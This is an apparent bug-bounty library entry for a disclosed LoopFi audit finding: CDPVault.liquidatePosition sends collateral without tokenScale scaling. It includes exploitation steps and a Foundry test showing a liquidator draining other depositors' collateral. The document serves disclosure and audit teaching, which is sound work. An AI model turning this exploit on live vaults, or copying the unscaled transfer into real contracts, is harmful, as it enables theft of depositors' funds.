# CDPVault.liquidatePosition() does not scale takeCollateral with tokenScale; therefore, it might send the wrong amount of collateral to the liquidator when tokenScale ! = 1 ether

CDPVault.liquidatePosition transfers takeCollateral in internal scaled units without multiplying by tokenScale, overpaying liquidators and draining other depositors' collateral when tokenScale != 1e18.

- Payout: Audit contest
- Severity: medium
- Program: LoopFi
- Found by: chaduke
- Disclosed: 2025-02-17
- Write-up quality: 6/10
- Original: https://github.com/code-423n4/2024-07-loopfi-findings/issues/223
- Library page: https://bugbountylibrary.com/r/c4%3A2024-07-loopfi%3AM-11
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:liquidation vuln:precision-loss

**Target:** CDPVault.liquidatePosition collateral transfer
**Root cause:** Internal collateral balances are stored scaled by tokenScale, but liquidatePosition transfers takeCollateral directly without wmul(takeCollateral, tokenScale), so the raw token amount is wrong whenever tokenScale != 1e18.
**Steps:**
1. Deploy collateral token with 16 decimals so tokenScale = 1e16.
2. Frank deposits 1,000,000 units; attacker deposits 100 units and borrows 10 ether at collateral price 1 ether.
3. Drop oracle price to 0.1 ether.
4. Kathy calls `vault.liquidatePosition(attacker, 1 ether)` with 1 ether underlying.
5. Observe Kathy receives 1052 units instead of ~10.52 units of collateral.
6. Frank's `vault.withdraw(Frank, 1000000*1e16)` reverts due to drained collateral.
**How found:** Code review comparing deposit/withdraw paths (which apply wmul(amount, tokenScale)) against liquidatePosition's raw safeTransfer of takeCollateral, spotting the missing scaling.
**Exploitation:** Liquidator repays a small debt amount during liquidation; because takeCollateral is transferred unscaled, the liquidator receives tokenScale-multiplied excess collateral, siphoning collateral belonging to other depositors in the vault.
**Insight:** When a protocol stores balances in a scaled internal unit, audit every outbound transfer path for the matching wmul/wdiv by tokenScale; liquidation and reward payouts are commonly missed because they bypass the deposit/withdraw helpers.

## Proof of concept (copied exactly from the original report)

**Foundry test proving liquidator overpaid collateral**

```
function testLiquidate1() public{
        address Frank = makeAddr("Frank");
        address Kathy = makeAddr("Kathy");
        
        

        tokenScaled = new MockTokenScaled("TestToken", "TST", 16);  // 16 decimals

        CDPVault vault = createCDPVault(tokenScaled, 150 ether, 0, 1.25 ether, 1.0 ether, 0.95 ether);
        createGaugeAndSetGauge(address(vault), address(tokenScaled));

        // frank does a deposit 1M units
        tokenScaled.mint(Frank, 1000000*10**16);
        vm.startPrank(Frank);
        tokenScaled.approve(address(vault), 1000000*10**16); // 100 units
        vault.deposit(Frank, 1000000*10**16);
        vm.stopPrank();

        // this test contract does a deposit 100 units
        tokenScaled.mint(address(this), 100*10**16);
        tokenScaled.approve(address(vault), 100*10**16); // 100 units
        vault.deposit(address(this), 100*10**16);

        oracle.updateSpot(address(tokenScaled), 1 ether);
        vault.borrow(address(this), address(this), 10 ether);    // 10 ether debt, 100 units of collateral
         
        
        console2.log("\n \n --------------------liquidate now -----------------");
        oracle.updateSpot(address(tokenScaled), 0.1 ether);
        
        mockWETH.mint(Kathy, 1 ether);
        vm.startPrank(Kathy);
        mockWETH.approve(address(vault), 1 ether);
        vault.liquidatePosition(address(this), 1 ether);
        vm.stopPrank();

        printPosition(vault, address(this), "this position");
        console2.log("done");

        vm.startPrank(Frank);
        vm.expectRevert();  // not enough collatreral to withdraw now
        vault.withdraw(Frank, 1000000*10**16);
        vm.stopPrank();
}
```

**Unscaled collateral transfer in liquidatePosition**

```
token.safeTransfer(msg.sender, takeCollateral);
```

